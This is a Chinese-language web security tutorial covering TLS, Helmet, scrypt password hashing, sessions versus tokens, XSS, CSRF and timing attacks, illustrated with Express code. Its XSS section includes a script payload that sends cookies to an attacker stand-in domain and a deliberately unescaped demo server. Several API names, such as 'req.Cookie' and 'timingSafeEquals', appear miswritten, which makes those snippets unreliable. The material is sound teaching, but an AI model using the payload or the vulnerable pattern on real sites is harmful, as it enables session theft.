关于网络安全这些知识你必须知道(不得不知的网络安全知识)
本文最初发布于 Bits and Pieces 博客。
去年年底,我在申请前端和全栈职位时经历了一些编码挑战。虽然细节上有些差别,但任务的主要内容是一样的。令我高兴的是,我确实已经学到了不少东西。在这里,我的目的是记录我在安全方面获得的新知识。
本文主要涵盖了以下内容:
- 设置:为 Web 应用程序的安全奠定基础。
- 密码:保存秘密。
- 身份验证:会话、令牌以及它们的优缺点。
- 漏洞:XSS、CSRF 等,以及如何缓解。
由于我主要从事前端和全栈开发工作,所以这些例子都是用 TypeScript 编写的。当然,这些概念是语言无关的。
设置让我们创建一个可靠的 Express 代码库作为构建基础。
HTTPS2022 年了,要使用传输层安全(TLS)。免费的,这个安全层可以确保你的网站免受中间人攻击、窃听和篡改。你唯一需要的是一个证书。
对于本地开发,要么创建一个自签名证书,要么使用lvh.me,后者唯一的工作是将任何请求反射到你自己的localhost(对于子域名特别方便)。
当你将应用程序托管在外时,所有现代化的服务——Vercel、Netlify、Heroku——都会帮你处理证书。如果你发现自己需要一个证书,Let's Encrypt会帮到你,而且是免费的。
报头(Headers)Express官方建议,使用 Helmet 对报头做恰当的设置,以防范众所周知的 Web 漏洞。
值得注意的是,Helmet 禁用了x-powered-by(那个泄露应用程序引擎的头字段),启用了 HSTS(告诉浏览器优先选择 HTTPS),并禁用了 MIME 类型嗅探(这很危险,例如,当你正在加载一个文本文件,但你的浏览器认为它是text/javascript)。如果你想了解所有的细节,可以看看Helmet的默认设置。这确实让人感觉很合理。
因此,Express 服务器的基本代码可能会是下面这个样子:
import express from "express";
import fs from "fs";
import helmet from "helmet";
import https from "https";
import path from "path";
const app = express();
// 避免手动调整CSP、HSTS、X-Powered-By、MIME-sniffing等;尽可能设置最严格的CSP。
app.use(helmet({ contentSecurityPolicy: { directives: { defaultSrc: "'self'" } } }));
app.use(express.json());
const client = path.resolve(__dirname, "../bUIld");
if (fs.existsSync(client)) app.use(express.static(client));
app.get("/healthz", (_, res) => { res.send({ message: "We're live " }); });
const httpsOptions = {
key: fs.readFileSync(path.join(__dirname, "./tls/cert.key")),
cert: fs.readFileSync(path.join(__dirname, "./tls/cert.pem")),
};
const portHttps = process.env.PORT_HTTPS || 8080;
https.createServer(httpsOptions, app).listen(portHttps, async () => {
console.log(`HTTPS server listening at ${portHttps}`); // eslint-disable-line no-console
});
复制代码
使用 Helmet 和 TLS 的 Express 基本设置(代码来源:GitHub,文件:fullstack-security-server.ts)
密码用户存储安全的基础是保护用户密码。让我们通过以下选项,一步一步地进行优化:
- 如果你用明文存储用户密码,那么如果有人访问了你的数据库,所有用户账号就泄漏了。这可不好。
- 让我们对密码进行哈希。这稍微好一点,但如果攻击者手头有一个彩虹表( rainbow table)——一个将普通字符串映射到其哈希值的表——那么将哈希值转换为普通字符串就是一个非常简单的问题了。
- 一旦我们在哈希值中加了盐,情况就会大大改善。(加盐是在每个密码中加入一个秘密的随机字符串。)除非攻击者获得了你的服务器的访问权——这时,抵抗已是徒劳——发现了你的盐罐,并为该特定的盐计算一个彩虹表,否则他们无法将数据库中的哈希值翻译成普通字符串。然而,有一个极端情况。如果 Elsa 的密码恰好与 Anna 的密码相同,那么它们将映射到相同的哈希值。这似乎可以接受,但如果你希望觉得自己是个专家呢?
- 你可以为每个用户使用不同的盐。当然,你需要把盐和哈希值放在一起,这样你就可以验证登录时发送的凭证,这没什么。渐入佳境!如果攻击者有机会获得一些令人印象深刻的计算能力呢?
- 这时,密钥衍生函数就可以发挥作用了。这些函数实现了密钥扩展,它们接收一个(可能很弱的)口令,并故意使其散列值计算变得昂贵,也就是说,使蛮力不那么有用。pbkdf2 和scrypt 就是这样的两个函数。
具体来说,你可以使用 Node.js 特有的crypto.scrypt(password, salt, 64)来计算密码哈希值(64 个字符长度),并在每个用户的记录中将saltsalt和password一起保存。请注意,scrypt实际上在内部使用了pbkdf2,但对计算哈希值所需的内存有更高的要求,进一步降低了暴力攻击的回报率。
身份验证如果你没有登录,或者目前没有提交敏感信息,就没有什么遭受攻击的危险。只有当你访问一个服务并进行认证时,事情才会变得有趣起来。
让我们回顾一下用户身份验证的常见方式:会话和令牌。
(注意:我们用crypto.randomBytes(64).toString("hex") 生成随机字符串。)
Cookie 中的会话Cookie 是在服务器上创建并存储在用户设备(通常是浏览器)上的小数据块。
它们的主要特点是,一旦创建,就会随着特定域名的所有请求在客户端和服务器之间传递,而你不需要为此做任何工作。标准的会话流程相当简单:
- 提交证书。
- 在服务器上创建一个随机的sessionId ,将其保存在数据库中,并在 Cookie 中发送回来。
- 然后,浏览器在随后的请求中自动包括上述 Cookie,使服务器能够验证请求是否与它们声称的一样。
你可能已经用过 JWT,但在基于令牌的身份验证中,令牌可以是任何东西,只要能够验证是你的服务器发出的就可以。换句话说,它需要一个可信赖的签名。
由于这种方法没有使用任何标准机制(像 Cookie 那样),所以要由客户端来确保令牌在所有身份验证请求中都存在。因此,流程类似下面这样:
- 提交证书。
- 在服务器上创建一个经过签名的令牌,并发回客户端。
- 将令牌保存在客户端,通常是本地存储中。
- 手动将令牌附加到未来的请求上。
以下是会话与令牌的主要区别:
- 存储:sessionId同时存储在服务器(数据库)和客户端(Cookie)。令牌只存储在客户端,使其在某种程度上是无状态的。
- 验证:当验证 Cookie 中的sessionId时,你需要查询数据库。对于令牌,你只需验证令牌的签名。
- 多域:本质上讲,Cookie 只在单个域中可用。由于令牌是手工添加的,你可以把它们发送到任何目的地。这使得它们在跨域的情况下胜出。此外,如你所见,使用令牌,你就不需要考虑数据库查询了。
- 撤销:因为会话可以在服务器上删除,所以你可以集中撤销。而令牌必须在客户端删除。如果你需要“在所有设备上签出”这种有吸引力的功能,那么会话是一个更好的选择。当用户重设密码或他们的账户被泄露时,情况也是如此。(对于令牌,你可以添加一个禁止表,列出下次不应接受其令牌的用户,但这样一来,无状态的好处也就不存在了......)
- 漏洞:由于 Cookie 是由浏览器自动包含进去的,所以会话容易受到 CSRF 的影响。由于令牌通常存在于本地存储中,所以它们更容易被 XSS 窃取。关于 CSRF 和 XSS,下面有更详细的介绍。
(注意:理论上,你也可以把令牌存储在 Cookie 中。然而,在我看来,这有点违背初衷,因为容易受到 CSRF 影响就成了一个问题,跨域优势也荡然无存。此外,JWT 比sessionId 大得多,把它们存储在 Cookie 中增加了开销。)
如果你想要更深入的了解下,那么可以看下令牌支持者的理由,以及会话&Cookie支持者的理由。
常见漏洞由于我们有一台正在运行的服务器,我们知道如何保护用户的信息,并且可以使用我们的服务对人进行身份验证,所以我们最终还是容易受到一些常见漏洞的影响。
(注意:我在这里只介绍下 XSS 和 CSRF,但还有许多其他的漏洞。对于初学者,我建议你看下OWASP提供的这份清单。)
跨站脚本攻击(XSS)很简单,XSS 就是代码注入。其主要思想是第三方可以在你的网站上执行他们不应该执行的代码。
注入示例假如你有一个搜索字段。在表单提交时,用户被重定向到/?search=whatever,并且search参数的内容显示在结果上方。这可以提醒用户他们搜索了什么,这样的 UI 是合理的,对吧?
不过,我发给你的链接可能包含/?search=<script>alert('booh!')</script> ,如果网站没有对查询参数做转义,就会看到一个告警窗口。
好吧,如果你已经登录谷歌,我向你发送了一个链接,其中包含/?search=<script>new Image().src=”https://iamtheattacker.me/steal?session="+encodeURI(document.Cookie);</script> 呢?
你的浏览器将请求iamtheattacker.me 域名下指定的 URL,我就可以把你 Cookie(或本地存储)中的所有内容都获取到我服务器的日志中。这样,不管出于何种目的,我就可以伪装成你。
const http = require("http");
const url = require("url");
http
.createServer(function (req, res) {
const params = url.parse(req.url, true).query;
res.write(
`<html>Searching for <strong>${params.search}</strong>.<br/>Results: ...</html>`
);
res.end();
})
.listen(8080);
复制代码
一个简单的服务,演示 XSS 的机制(代码来源:GitHub,文件:fullstack-security-xss.js)
如果你想自己试一试,以上是这种情况最简单的代码。你可以将上述有害的查询粘贴到这里。在开发工具的Network选项卡中,你会找到对外部域的灾难性请求。
我们上面看到的称为反射 XSS。还有其他类型,如存储 XSS,它是通过存储有害的东西(如在用户的帖子或评论中)来发起攻击。不过,机制是完全相同的。
你应该为此担心吗?现如今,你必须不遗余力地去做这些愚蠢的事情。好在所有的现代化工具都在后台为你做了大量的规避工作,有工具帮助你验证用户输入,还有详细的手册指导你发现可能仍然存在的漏洞。
然而,通常情况下,现代应用程序有大量的外部依赖——想想npm——它们中的任何一个都可能会试图窃取敏感的浏览器数据,用与上述例子中注入代码完全相同的方式。由于你的客户端依赖可以访问本地域中的一切,恰如你自己的代码一样,所以你应该对所依赖的东西保持谨慎。
Cookie vs. 令牌默认情况下,客户端代码可以访问和你域名相关的 Cookie 和令牌。
对于令牌,这很难处理。因为需要手动将 JWT 放在Authorization头中,所以你不能真的拒绝自己的代码——以及与之相关的任何第三方代码——访问它。因此,你应该绝对确保永远不会运行恶意代码;一旦这样做了,你就成了他们的金矿。
基于 Cookie 的认证在这方面稍微好一些。你的代码不需要操作sessionId Cookie,因为浏览器和服务器在交换数据时会自动将其包含进去。出于这个原因,你可以通过将其httpOnly参数设置为true来禁止 JS 访问该 Cookie。这使得它不会被任何第三方劫持。
跨站请求伪造(CSRF)CSRF,通常读作 sea-surf,是一种操纵用户向他们目前已认证通过的应用程序提交非预期请求的攻击。
CSRF 示例Sherlock 登录了他的银行,然后收到了 Moriarty 向他发送的一封包含链接/transfer?amount=5000&to=moriarty-1234的钓鱼邮件 。在收到这样的请求后,这家以简单为傲的银行会从已认证用户的账户中提取参数中的金额,并将其转给moriarty-1234。
当心不在焉的 Sherlock 点击这个链接时,他的浏览器发送了一个 Cookie,表明这就是他,而银行也非常高兴地应答了。Moriarty 赢得了这场战斗。
"这太疯狂了!“你说得对。当然,没有人会在GET请求中更改状态。如果你把它设置为POST,邮件中的链接将不再起作用。但是,如果 Moriarty 做了一个令人信服的钓鱼网站,上面有一个action指向/transfer并随适当的body 一起发送的表单,那么我们就又回到了原点。在提交表格时,Sherlock 的浏览器会发送一个 Cookie 来证明他的身份,然后银行就会给 Moriarty 转账。魔鬼又赢了。
Cookie vs. 令牌正如你在上一节中所看到的,CSRF 的危险在于认证信息被受害者的浏览器自动包含在请求中,没有任何的代码干扰。由于令牌不存在这样的行为,基于令牌的认证不容易发生 CSRF。而另一方面,基于 Cookie 的认证则非常容易出现这种情况。
如何缓解?下面是预防 CSRF 的一个策略组合:
- 将用户认证 Cookie 的sameSite属性设置为lax。这可以防止它在跨站请求中被发送,但“安全”(不修改状态)的GET和HEAD除外。换句话说,上述示例中的链接仍然可以工作,但表单就不能。
- 至少在所有状态更改请求上禁用CORS。这样,第三方表单就不能提交到你的端点。(在 Express 中,cors默认是禁用的。但是,你有多少次看到有人在整个 API 中使用app.use(cors())来启用它?在我看来这太简单了。)
- 在你的 API 请求中强制使用content-type: application/json,方法是在服务器上仔细检查报头。
const api = express.Router();
// 在所有api端点上强制使用内容类型“application/json”
api.use((req, res, next) => {
if (req.headers["content-type"] !== "application/json") {
res.status(400).json({ message: "Invalid content type." });
} else {
next();
}
});
复制代码
(代码来源:GitHub,文件:fullstack-security-content-type.ts)
以上组合应该够用了。如果你想真的提交,则可以借助 CSRF 令牌。那做起来也很简单,真的。
CSRF 令牌让服务器为每一个服务于 App 的响应附加一个随机的csrf令牌,并将其sameSite属性设置为strict,这意味着客户端将只包含源于这里的请求。
当发出敏感请求时,比如提交一个表单,让客户端在请求中包含这个来自csrf Cookie 的令牌,通常是在x-csrf-token头中。然后,服务器可以通过检查报头值与csrf Cookie 的值是否匹配来确保请求的有效性。
// 在提供应用服务时
res.Cookie("xCsrfToken", generateToken(), { maxAge: 1000 * 3600, sameSite: "strict" });
// 在客户端
fetch(url, {
headers: {
"content-type": "application/json",
"x-csrf-token": getCookie("xCsrfToken") ?? "",
},
});
// 在易受影响的端点
if (!req.headers["x-csrf-token"] || req.headers["x-csrf-token"] !== req.Cookie["xCsrfToken"]) {
return res.status(400).json({ message: "Invalid CSRF token." });
复制代码
(代码来源:GitHub,文件:fullstack-security-csrf.ts)
时序攻击让我们好好找点事做。
下面代码的实现细节并不重要。你能找到一种方法来收集有关用户是否拥有账户的信息吗?
import express from "express";
const authApi = express.Router();
authApi.post("/session", async (req, res) => {
const params: { email: string; password: string } = req.body;
if (!req.headers["x-csrf-token"] || req.headers["x-csrf-token"] !== req.Cookie["xCsrfToken"]) {
return res.status(400).json({ message: "Invalid CSRF token." });
}
const user = Users.findByEmail(params.email);
if (!user || !Users.verifyPassword(params.password, user)) {
return res.status(401).json({ message: "Invalid credentials." });
}
const sessionId = generateToken();
res.Cookie("sessionId", sessionId, { httpOnly: true, maxAge: 1000 * 3600 * 24, sameSite: "lax" });
Sessions.add({ sessionId, userEmail: user.email });
const response: ApiSessionRes = { email: user.email, name: user.name };
res.status(200).json(response);
});
authApi.delete("/session", async (req, res) => {
if (req.Cookie["sessionId"]) Sessions.remove(req.Cookie["sessionId"]);
res.clearCookie("sessionId");
res.status(200).json({ message: "Signed out." });
});
export { authApi };
复制代码
(代码来源:GitHub,文件:fullstack-security-auth.ts)
我没有发现这段代码有任何问题,甚至第三次看也没。然而,如果你用大量的请求轰击服务器并并计时,应该就会发现,对于不存在的用户,API 响应得更快一些。
为什么?第 20 行的条件需要较长的时间来评估现有帐户。以下代码——为Invalid credentials 响应添加一个随机延迟——应该可以减轻这种吹毛求疵的信息泄漏:
const user = Users.findByEmail(params.email);
if (!user || !Users.verifyPassword(params.password, user)) {
await new Promise((resolve) => setTimeout(resolve, crypto.randomInt(11, 111))); // 缓解时序攻击
return res.status(401).json({ message: "Invalid credentials." });
}
复制代码
(代码来源:GitHub,文件:fullstack-security-auth-timing.ts)
这里我要提一下,在这个实现中,比较字符串也会让攻击者猜测出一些他们不应该知道的信息。可以使用 Node.js 提供的类似crypto.timingSafeEquals这样的东西。
今天就到这里。希望你喜欢这篇文章,并学到了一些新东西。
查看英文原文:What You Should Know About Web Security
,免责声明:本文仅代表文章作者的个人观点,与本站无关。其原创性、真实性以及文中陈述文字和内容未经本站证实,对本文以及其中全部或者部分内容文字的真实性、完整性和原创性本站不作任何保证或承诺,请读者仅作参考,并自行核实相关内容。文章投诉邮箱:anhduc.ph@yahoo.com